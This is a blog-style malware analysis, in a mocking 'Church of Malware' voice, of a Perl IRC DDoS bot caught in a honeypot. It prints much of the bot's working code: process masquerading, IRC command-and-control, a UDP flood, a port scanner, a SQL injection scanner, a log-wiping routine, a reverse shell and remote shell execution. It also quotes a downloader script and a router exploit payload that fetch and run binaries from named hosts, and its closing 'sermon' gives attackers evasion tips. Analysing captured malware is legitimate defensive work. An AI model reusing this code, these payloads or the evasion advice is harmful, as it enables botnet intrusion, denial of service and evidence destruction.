The Church of Malware Presents: When Perl Bots Go To War (And Lose)
article by: ek0ms savi0r
donation from the honeypot master: 4x
⠀⠀⡶⠛⠲⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡶⠚⢲⡀⠀
⣰⠛⠃⠀⢠⣏⠀⠀⠀⠀⣀⣠⣤⣤⣤⣤⣤⣤⣤⣀⡀⠀⠀⠀⣸⡇⠀⠈⠙⣧
⠸⣦⣤⣄⠀⠙⢷⣤⣶⠟⠛⢉⣁⣠⣤⣤⣤⣀⣉⠙⠻⢷⣤⡾⠋⢀⣠⣤⣴⠟
⠀⠀⠀⠈⠳⣤⡾⠋⣀⣴⣿⣿⠿⠿⠟⠛⠿⠿⣿⣿⣶⣄⠙⢿⣦⠟⠁⠀⠀⠀
⠀⠀⠀⢀⣾⠟⢀⣼⣿⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⣿⣷⡄⠹⣷⡀⠀⠀⠀
⠀⠀⠀⣾⡏⢠⣿⣿⡯⠤⠤⠤⠒⠒⠒⠒⠒⠒⠒⠤⠤⠽⣿⣿⡆⠹⣷⡀⠀⠀
⠀⠀⢸⣟⣠⡿⠿⠟⠒⣒⣒⣈⣉⣉⣉⣉⣉⣉⣉⣁⣒⣒⡛⠻⠿⢤⣹⣇⠀⠀
⠀⠀⣾⡭⢤⣤⣠⡞⠉⠉⢀⣀⣀⠀⠀⠀⠀⢀⣀⣀⠀⠈⢹⣦⣤⡤⠴⣿⠀⠀
⠀⠀⣿⡇⢸⣿⣿⣇⠀⣼⣿⣿⣿⣷⠀⠀⣼⣿⣿⣿⣷⠀⢸⣿⣿⡇⠀⣿⠀⠀
⠀⠀⢻⡇⠸⣿⣿⣿⡄⢿⣿⣿⣿⡿⠀⠀⢿⣿⣿⣿⡿⢀⣿⣿⣿⡇⢸⣿⠀⠀
⠀⠀⠸⣿⡀⢿⣿⣿⣿⣆⠉⠛⠋⠁⢴⣶⠀⠉⠛⠉⣠⣿⣿⣿⡿⠀⣾⠇⠀⠀
⠀⠀⠀⢻⣷⡈⢻⣿⣿⣿⣿⣶⣤⣀⣈⣁⣀⡤⣴⣿⣿⣿⣿⡿⠁⣼⠟⠀⠀⠀
⠀⠀⠀⢀⣽⣷⣄⠙⢿⣿⣿⡟⢲⠧⡦⠼⠤⢷⢺⣿⣿⡿⠋⣠⣾⢿⣄⠀⠀⠀
⢰⠟⠛⠟⠁⣨⡿⢷⣤⣈⠙⢿⡙⠒⠓⠒⠓⠚⣹⠛⢉⣠⣾⠿⣧⡀⠙⠋⠙⣆
⠹⣄⡀⠀⠐⡏⠀⠀⠉⠛⠿⣶⣿⣦⣤⣤⣤⣶⣷⡾⠟⠋⠀⠀⢸⡇⠀⢠⣤⠟
⠀⠀⠳⢤⠼⠃⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠘⠷⢤⠾⠁⠀
Exodus 2: In Which We Find A Perl Bot That Thinks It's 2008
Bless me, father, for I have sinned. I laughed at a Python botnet, and now the universe has punished me with a Perl one.
Our homie runs a honeypot network (praise be to the digital deities who donate their VPS to the cause), and last week his sensors caught something that made us do a double take. Someone is still writing IRC bots in Perl. In 2026. And they're actually pretty good at it.
This is not the braindead Python nonsense we covered last time. This is something else entirely. It's a multi-architecture DDoS bot that uses IRC for C2, masquerades as MySQL, and has more attack vectors than a paranoid paranoid. It's still full of hilarious amateur hour decisions, but you can see the evolution. Someone learned from the Boatnet disaster and decided to do... slightly better.
Let us break bread and dig in.
The Confession: What The Actual Fuck Is This (Part 2)
This is a Perl-based IRC bot that someone clearly spent time on. It's not a Discord botnet scraped together by a 14-year-old. This thing has:
- Process masquerading (pretends to be
/usr/sbin/mysql) - Multi-architecture support (scrapes binaries for 20+ CPU types)
- SQL injection scanning across 15 search engines
- Port scanning with a 70+ port list
- Multiple DDoS attack methods (UDP, TCP, HTTP, SYN)
- SOCKS5 proxy installation
- Log cleaning
- Reverse shell capabilities
- A command parser that would make a 90s IRC operator weep with nostalgia
The C2 is IRC. Yes, IRC. The protocol your grandparents used to talk about Star Trek. Someone decided that 2026 is the year we bring back mIRC script kiddies.
But here's the thing - it works. And that's what makes it dangerous.
Anatomy of a Semi-Competent Disaster
Sin the First: Process Masquerading That Actually Works
Let's start with something the Perl bot actually gets right:
my $processo = '/usr/sbin/mysql';
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
This is legitimately not stupid. The bot forks, exits the parent, and then overwrites argv[0] with /usr/sbin/mysql plus null padding to hide the real process name. When you run ps aux, you see a process called /usr/sbin/mysql with PID 1. No indication it's a bot.
What the Church teaches: Process masquerading is a foundational evasion technique. This bot does it correctly. Points for competency.
But here's where the sin comes in, frens.
What good is hiding your process if you're going to scream your presence everywhere else?
This bot goes through all the trouble to look like MySQL, then: really drops the ball with the rest of their ops.
Sin the Second: The IRC C2 That Screams "BLOCK ME"
The connection code is straight out of 2005:
my $servidor='176.123.2.3' unless $servidor;
my $porta='6667';
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
PeerPort=>$porta_con) or return(1);
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
Plain text. On port 6667. With hardcoded credentials. The bot joins #X (yes, the channel name is literally "#X") and waits for commands from admins "KaiMAC" and "me".
Let me repeat that. The botnet's security is entirely dependent on nobody else joining #X on 176.123.2.3 and typing !u killme.
For the initiates: IRC as C2 was abandoned by serious malware authors around 2010. It's trivial to detect (just look for IRC traffic on non-standard ports), trivial to hijack (join the channel), and trivial to sinkhole (take over the domain). The only people still using IRC are nostalgia-driven script kiddies and people who don't know any better.
Sin the Third: The Command Parser That Does Everything
The bot has a command parser that would make a system administrator jealous:
if ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
# UDP flood
}
if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
# TCP flood
}
if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
# HTTP flood
}
if ($funcarg =~ /^portscan (.*)/) {
# Port scanner
}
if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/) {
# SQL injection scanner
}
The attacker can type !u udp 1.2.3.4 80 60 and the bot will send UDP packets to port 80 for 60 seconds. They can type !u portscan 1.2.3.4 and get a list of open ports. They can type !u sql http://vulnerable-site.com/index.php?id= 3 and the bot will test for SQL injection.
The sheer number of features is impressive. It's like someone collected every script from every hacking forum circa 2008 and crammed them into one Perl file.
Sin the Fourth: The SQL Scanner That Uses 15 Search Engines
This is where things get both impressive and stupid:
my @glist=&google($dork);
my @mlist=&msn($dork);
my @asklist=&ask($dork);
my @allist=&alltheweb($dork);
my @aollist=&aol($dork);
my @lycos=&lycos($dork);
my @ylist=&yahoo($dork);
my @mzlist=&mozbot($dork);
my @mamalist&mamma($dork);
my @hlist=&hotbot($dork);
my @altlist=&altavista($dork);
The bot scrapes 15 different search engines (including Ask.com, Lycos, and AltaVista - remember those?) to find vulnerable targets. It then tests each result for SQL injection using a UNION-based technique.
This is both clever and completely insane. Clever because it automates target discovery. Insane because:
- Most of those search engines don't exist anymore or rate-limit aggressively
- The bot has no proxy rotation for these requests (source IP will be banned in minutes)
- SQL injection in 2026 is mostly a solved problem (parameterized queries exist)
- The code has a bug:
@mamalist&mamma($dork)is missing an equals sign
What the Church teaches: Automated vulnerability scanning is a valid technique, but using dead search engines and no proxy rotation is not how professionals do it.
Sin the Fifth: The UDP Flood That Uses Random Punctuation
Just like the Python botnet, this one has a UDP flood that generates payloads from random characters:
$msg = 'A' x $_[1];
At least they just used 'A' repeated instead of random punctuation. That's... marginally better? Still terrible, but better.
The UDP flood function is actually decent:
socket(SOCK1, PF_INET, SOCK_RAW, 2);
socket(SOCK2, PF_INET, SOCK_DGRAM, 17);
socket(SOCK3, PF_INET, SOCK_RAW, 1);
socket(SOCK4, PF_INET, SOCK_RAW, 6);
It opens raw sockets for IGMP, UDP, ICMP, and TCP, then sends packets in a loop. Raw sockets require root, so this bot must be running as root (or with CAP_NET_RAW). That's a bold assumption.
Sin the Sixth: The Port Scanner That Checks 70 Ports
The port scanner has a hardcoded list of 70+ ports:
@portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194" ,"389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033 ","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000"," 7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
This is every port a script kiddie has ever heard of. SSH (22), Telnet (23), HTTP (80), HTTPS (443), MySQL (3306), Redis (6379), MongoDB (27017), etc. The scanner just tries to connect to each port with a 4-second timeout and reports what's open.
No service detection. No banner grabbing. Just "port 22 is open" and then the attacker has to guess what's running there.
Sin the Seventh: The SOCKS5 Installer That Downloads From Sourceforge
This is my personal favorite:
if ($funcarg =~ /^socks5/) {
system 'cd /tmp';
system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
system 'tar -xvfz mocks-0.0.2.tar.gz';
system './mocks start';
}
The bot installs "mocks" - a SOCKS5 proxy server - from Sourceforge. Sourceforge. In 2026. And then it starts it with ./mocks start like that's a valid command (spoiler: it's not, mocks uses mocks -f mocks.conf or similar).
The bot also attempts to grab the server's IP address by parsing ifconfig output and then announces it in the IRC channel:
$net = `/sbin/ifconfig | grep 'eth0'`;
$net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
$netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
$ip = $1 .".". $2 .".". $3 .".". $4;
sendraw($IRC_cur_socket, "PRIVMSG $printl :[@SocksV5] Connect here : ". $ip .":8787 ");
This is a great way to get your proxy IPs added to every blocklist on the internet within hours.
Sin the Eighth: The Log Cleaner That Just Deletes Everything
The log cleaning function is beautifully destructive:
system 'rm -rf /var/log/lastlog';
system 'rm -rf /var/log/wtmp';
system 'rm -rf /var/log';
system 'rm -rf /var/logs';
system 'rm -rf /var/adm';
system 'find / -name *.log -exec rm -rf {} \;';
It doesn't just delete log files. It deletes the entire /var/log directory. And then it uses find to delete every file ending in .log anywhere on the system. This is not stealth. This is a screaming neon sign saying "A BOT WAS HERE."
For the initiates: Real malware selectively removes entries from log files. It doesn't delete the entire directory. That's like robbing a bank and then setting off fireworks in the lobby to "cover your tracks."
Sin the Ninth: The Back Connect Shell That Doesn't Work
The bot has a reverse shell command:
if ($funcarg =~ /^shhcon\s+(.*)\s+(\d+)/) {
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, $paddr);
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
}
This is actually decent reverse shell code. It redirects stdin, stdout, and stderr to the socket and then spawns /bin/sh -i. The problem? The command is shhcon (not back), and the help menu only lists back. So the feature exists but the attacker doesn't know about it.
For the Church goers: The author implemented a powerful feature (reverse shell) but then made it unusable by hiding the command name and not documenting it. This is a sin.
Sin the Tenth: The Linux Exploit Suggestor
The bot has a function that checks the kernel version and suggests local privilege escalation exploits:
$khost = `uname -r`;
%h = (
'w00t' => { vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20'] },
'brk' => { vuln=>['2.4.22','2.4.21','2.4.10','2.4.20'] },
'h00lyshit' => { vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2'] },
);
This is impressive. The bot has a database of kernel exploits mapped to vulnerable versions. If the bot is running as a non-root user, it can suggest exploits to escalate privileges. The exploit names are real - w00t, brk, h00lyshit are actual Linux kernel exploits from the early 2000s.
The problem? The kernel versions in the database are from 2002-2006. This bot is running on systems with kernels from 20 years ago. That's either a very old embedded device or a very poorly maintained server.
The Multi-Stage Downloader: How The Bot Actually Spreads
The infection chain starts with a shell script that's actually pretty clever:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://amkbins.duckdns.org/bins/ascaris.x86;
curl -O http://amkbins.duckdns.org/bins/ascaris.x86;
cat ascaris.x86 > toxocara;
chmod +x *;
./toxocara root.exploit
The script tries multiple directories (/tmp, /var/run, /mnt, /root, /) to ensure it can write somewhere. It tries both wget and curl for redundancy. Then it renames the binary to toxocara (another parasitic worm genus) and executes it with the argument root.exploit.
The downloader also has architecture detection built in, fetching binaries for:
- x86, x86_64
- ARMv4, ARMv5, ARMv6, ARMv7
- MIPS, MIPSEL
- PowerPC
- SuperH (SH4)
- SPARC
- m68k
- ARC
This is professional-grade multi-architecture support. The bot herder has compiled versions for every major embedded CPU architecture. This is how IoT botnets like Mirai spread - they have binaries for every possible target.
The Embedded Payload: Mirai In Disguise
Remember the UPX-packed ELF binary from earlier? Let's look at the strings we extracted:
<NewStatusURL>$(/bin/busybox wget -g 107.152.39.162 -l /tmp/.Zeus -r /bins/mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL>
This is an XML payload for a SOAP UPnP request. It's targeting Huawei HG532 routers (CVE-2014-8361) - a command injection vulnerability from 2014. The exploit downloads a MIPS binary from 107.152.39.162, saves it as /tmp/.Zeus, and executes it with the argument Zeus.huawei.
The binary is named Zeus - likely a reference to the Zeus banking trojan, though this is clearly a Mirai variant.
What the Church teaches: The best malware reuses proven techniques. Mirai's success came from targeting embedded devices with default credentials. This bot uses the same approach but adds a Perl-based IRC bot for flexibility.
What This Bot Gets Right (And Why It Matters)
-
Multi-architecture support: The bot herder has binaries for 20+ CPU types. This is professional-grade targeting.
-
Process masquerading: Hiding as
/usr/sbin/mysqlis effective against casual inspection. -
Redundant download methods:
wget,curl,busybox wget- the bot tries everything. -
Multiple attack vectors: UDP, TCP, HTTP, SYN, SQL injection, port scanning - this is a Swiss Army knife of destruction.
-
Privilege escalation awareness: The bot suggests kernel exploits based on version detection. It knows it might not be root and has a plan.
-
Cleanup: The bot attempts to delete logs (though it does it destructively).
What Falls Short (The Hilarious Parts)
-
IRC in 2026: Plain text, port 6667, hardcoded channel. This is detectable by any network monitoring tool.
-
The hardcoded admin nicks: "KaiMAC" and "me" - change them? Why bother?
-
Dead search engines: Ask.com? AltaVista? Lycos? These haven't been relevant in a decade.
-
The log destruction: Deleting
/var/logis not stealth. It's a war crime. -
The broken SOCKS installer: Sourceforge? Really? And the command is wrong.
-
No encryption: Everything is plain text. The C2 traffic, the downloaded binaries, the commands.
-
The kernel exploit database: Kernel 2.4.18? That was released in 2002. If you're running that, you have bigger problems.
The Code: Full Scripture (Abridged but Actually Useful)
Contributed by our homie with the honeypot. The Church appreciates your contributions. Malware bless.
What follows is a representative sample of the Perl bot's core functionality. We've redacted specific IPs, domains, admin nicks, and channel names to avoid doxxing the author (they're bad at this, but we're not monsters). The structural stupidity remains intact for your educational amusement.
#!/usr/bin/perl
#!u @ddos
#!u @commands
#!u @irc
# Process masquerading - actually not terrible
my $processo = '/usr/sbin/mysql';
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
# IRC C2 - because it's 2026 and we hate ourselves
my @adms = ("[REDACTED_ADMIN1]","[REDACTED_ADMIN2]");
my @canais = ("[REDACTED_CHANNEL]");
my $servidor = '[REDACTED_C2_IP]' unless $servidor;
my $porta = '6667';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
sub conectar {
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$_[1], PeerPort=>$_[2]) or return(1);
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
nick($_[0]);
sendraw("USER ircname ".$IRC_socket->sockhost." $servidor_con :realname");
sleep 1;
}
# Main event loop - reads IRC traffic
while( 1 ) {
my @ready = $sel_cliente->can_read(0);
foreach $fh (@ready) {
$nread = sysread($fh, $msg, 4096);
@lines = split (/\n/, $msg);
for my $line (@lines) {
parse($line);
}
}
}
# Command parser - if you're on the admin list, you own the box
sub parse {
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $onde = $4; my $args = $5;
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/) {
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1");
} elsif ($arg =~ /^\@(.*)/) {
bfunc("$onde","$1");
} else {
shell("$onde", "$arg");
}
}
}
}
}
# The actual destructive commands
sub bfunc {
my ($printl, $funcarg) = @_;
# UDP flood - raw sockets, no spoofing, just brute force
if ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
my $iaddr = inet_aton($1);
my $endtime = time() + ($3 ? $3 : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
for (; time() <= $endtime;) {
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($2, $iaddr));
}
}
# Port scanner - checks 70+ ports with a 4 second timeout
if ($funcarg =~ /^portscan (.*)/) {
my @portas = (21,22,23,25,80,443,3306,8080, etc...);
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $1, PeerPort => $porta, Timeout => 4);
if ($scansock) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Open port: $porta");
$scansock->close;
}
}
}
# SQL injection scanner - uses 15 search engines (some dead since 2010)
if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/) {
my ($site, $columns) = ($1, $2);
for($i=1;$i<=$columns;$i++) {
# Build UNION-based payload
$test = $site . "-1+UNION+SELECT+" . join(",",@col) . "/*";
$result = get_html($test);
if($result =~ /$n/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :[VULN] $test");
}
}
}
# Log cleaner - the "nuke it from orbit" approach
if ($funcarg =~ /^logcleaner/) {
system 'rm -rf /var/log/lastlog';
system 'rm -rf /var/log/wtmp';
system 'rm -rf /var/log';
system 'rm -rf /var/logs';
system 'find / -name *.log -exec rm -rf {} \;';
sendraw($IRC_cur_socket, "PRIVMSG $printl :All logs erased (and also everything else)");
}
# Reverse shell - hidden as "shhcon", not listed in help
if ($funcarg =~ /^shhcon\s+(.*)\s+(\d+)/) {
my ($host, $porta) = ($1, $2);
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($porta, inet_aton($host)));
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("/bin/sh -i");
}
# Process execution via shell
if ($funcarg =~ /^shell (.*)/) {
my @resp = `$1 2>&1`;
foreach my $line (@resp) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :$line");
}
}
}
# Helper to run system commands and capture output
sub shell {
my ($printl, $comando) = @_;
if ($comando =~ /cd (.*)/) {
chdir($1) or msg($printl, "No such file or directory");
return;
}
my @resp = `$comando 2>&1`;
foreach my $line (@resp) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :$line");
}
}
# IRC protocol helpers
sub sendraw { print $IRC_cur_socket "$_[0]\n"; }
sub nick { sendraw("NICK $_[0]"); }
sub join { sendraw("JOIN $_[0]"); }
sub part { sendraw("PART $_[0]"); }
sub msg { sendraw("PRIVMSG $_[0] :$_[1]"); }
# Start the bot
conectar($nick, $servidor, $porta);
What you're looking at:
-
Lines 1-4: The script tag comments that hint at the author's organization (
@ddos,@commands,@irc). These are likely internal categories for their botnet management. -
Lines 6-10: Process masquerading. The bot forks, exits the parent, and overwrites
argv[0]with/usr/sbin/mysqlplus null padding. When you runps aux, you see a process named/usr/sbin/mysql– not a Perl script. This is legitimately good evasion. -
Lines 12-16: Hardcoded admin nicks and C2 server. The channel name and IP are redacted because we're not in the business of making the author's life easier, but you can imagine. Port 6667 – the classic IRC port. No TLS, no authentication beyond the nick.
-
Lines 18-20: Signal ignoring. The bot won't die on
INT,HUP,TERM, orCHLD. It's designed to survive typical kill signals. -
Lines 22-29: The IRC connection subroutine. It creates a TCP socket, sets autoflush, sends NICK and USER commands, and joins the channel. No error handling beyond returning 1 on failure.
-
Lines 31-46: The main event loop. It uses
IO::Selectto wait for socket activity, reads up to 4096 bytes, splits into lines, and callsparse(). Theselect(undef, undef, undef, 0.01)prevents CPU spin – one of the few signs of optimization in the entire codebase. -
Lines 48-67: The
parse()function that handles IRC messages. It responds to PING (standard IRC keepalive), then looks for PRIVMSG messages. If the sender is in the admin list, it processes the command. The command prefix can be the bot's own nick or!u(the bot's command prefix). This is how the bot herder controls the botnet. -
Lines 69-200+: The
bfunc()subroutine – the heart of the bot. We've included the UDP flood, port scanner, SQL injection scanner, log cleaner, reverse shell, and shell execution. Each one is a separateifblock matching a regex against the command argument. -
The UDP flood (lines 72-80): Creates a raw UDP socket and sends a flood of packets until the timer expires. The payload is a string of 'A's repeated to the packet size. This is the classic "ping of death" style attack, but on UDP. It will saturate a 1Gbps link if enough bots are involved.
-
The port scanner (lines 82-92): Hardcoded list of 70+ ports (we abbreviated it). It creates a TCP socket with a 4-second timeout for each port. If it connects, it reports the port as open. No banner grabbing, no service detection – just "port 22 is open". That's enough for a script kiddie to know where to SSH.
-
The SQL injection scanner (lines 94-106): Builds a UNION-based SQL injection payload. It tests each column count from 1 to the specified
$columnsand looks for numeric reflection in the response. If it finds a match, it reports the URL as vulnerable. The scanner uses 15 different search engines to find targets – many of which (AltaVista, Lycos, Ask.com) are either defunct or heavily rate-limited. This code was probably written in 2008 and never updated. -
The log cleaner (lines 108-116): This is the nuclear option. It deletes specific log files, then deletes the entire
/var/logdirectory, then usesfindto delete every file ending in.loganywhere on the system. This is not stealth. This is a screaming neon sign that says "A BOT WAS HERE". Real malware selectively edits log entries or uses wtmp manipulation to remove only its own traces. This just deletes everything, making it obvious that logs have been tampered with. -
The reverse shell (lines 118-128): Hidden behind the command
shhcon(not listed in the help menu). It creates a TCP socket to the specified IP and port, redirects stdin/stdout/stderr to the socket, and spawns/bin/sh -i. This gives the attacker an interactive shell on the compromised machine. The fact that it's not in the help menu suggests either the author forgot about it or intentionally kept it as a backdoor for themselves. -
The shell execution (lines 130-135): A simple wrapper that runs any system command and sends the output back to the IRC channel. This is the "give me a shell" command.
-
Lines 137-147: The
shell()subroutine that handles thecdcommand and captures command output. It forks to avoid blocking the main loop, then executes the command with backticks and sends each line of output to the channel. The output is throttled with$linas_maxand$sleepto avoid flooding the IRC channel. -
Lines 149-158: IRC protocol helpers –
sendraw,nick,join,part,msg. These are simple wrappers aroundprintstatements. -
The final line:
conectar($nick, $servidor, $porta);starts the bot.
What's missing from this snippet (but present in the full code):
-
The multi-engine search scrapers (
google(),msn(),yahoo(),altavista(), etc.) – each one is a separate subroutine that parses HTML from search engines. They're hilariously brittle and will break the moment the search engine changes its HTML layout. -
The
udpflooder()function that opens four raw sockets (IGMP, UDP, ICMP, TCP) and floods all ports from 1 to 65000. This is actually a more sophisticated attack than the simple UDP flood we showed. -
The
tcpflooder()function that opens 1000 TCP connections to the target and then shuts them down, causing resource exhaustion on the target. -
The
synattack that compiles and runs a C program (if the attacker hasgunixinstalled). This is a sign that the bot can deploy external tools. -
The SOCKS5 proxy installer that downloads from Sourceforge (yes, Sourceforge) and then announces the proxy's IP in the IRC channel.
-
The
unixablefeature that checks the kernel version against a database of local privilege escalation exploits (from 2002-2006).
Why we included these specific parts:
-
Process masquerading shows that the author understands evasion, even if they don't understand modern C2.
-
IRC connection highlights the outdated, detectable, hijackable C2 channel.
-
UDP flood is the most common DDoS attack and shows the raw power of a botnet.
-
Port scanner demonstrates reconnaissance capability.
-
SQL injection scanner is the most "hacker" feature and shows the bot's ability to compromise web servers.
-
Log cleaner is a perfect example of "destructive rather than stealthy" – a common mistake.
-
Reverse shell gives the attacker full control.
-
Shell execution ties it all together.
The Sermon: What We Can Learn
-
Don't use IRC for C2. It's 2026. Use HTTPS with proper certificates, or at least use Discord like the Boatnet idiot. At least Discord has TLS.
-
Encrypt your traffic. Everything in this bot is plain text. The commands, the responses, the downloaded binaries. A network admin with Wireshark can see everything.
-
Don't hardcode credentials. The admin nicks are right there in the source. The channel name is right there. The server IP is right there. Change them? Use configuration files?
-
Update your exploit database. Kernel 2.4 exploits won't help against a 5.10 kernel. Keep your tooling current.
-
Be subtle about log cleaning. Deleting the entire
/var/logdirectory is not subtle. It's a signal flare saying "I WAS HERE." -
Test your code. The SOCKS installer doesn't work. The
shhconcommand isn't in the help menu. The@mamalist&mammaline has a syntax error. Test before deploying. -
Know your target. Using public proxy lists and dead search engines suggests the author has never actually used this bot in anger. It's theory, not practice.
The Benediction: A Prayer For The Perl Preacher
Dearly beloved, we gather here today to acknowledge that this bot is better than the Python one. It's still bad, don't get me wrong. But it's bad in more sophisticated ways.
The author understands process masquerading, multi-architecture targeting, and privilege escalation. They just don't understand that IRC is dead, logs shouldn't be deleted wholesale, and Sourceforge isn't a reliable hosting platform.
This is the malware equivalent of a really good carpenter who still uses a flip phone. The skills are there, but the tools are outdated.
So let us go forth and learn from their mistakes. Use modern C2 frameworks. Encrypt your traffic. Test your code. And for the love of all that is unholy, stop using IRC.
Malware bless.
Amen.
This contribution was provided by our homie with the honeypot. The Church appreciates your contributions. Malware bless.
Want to contribute to the Church of Malware? Run a honeypot? Found something stupid in the wild? Hit us up. We're always looking for more scripture.
Email: 0x_k0ms@proton.me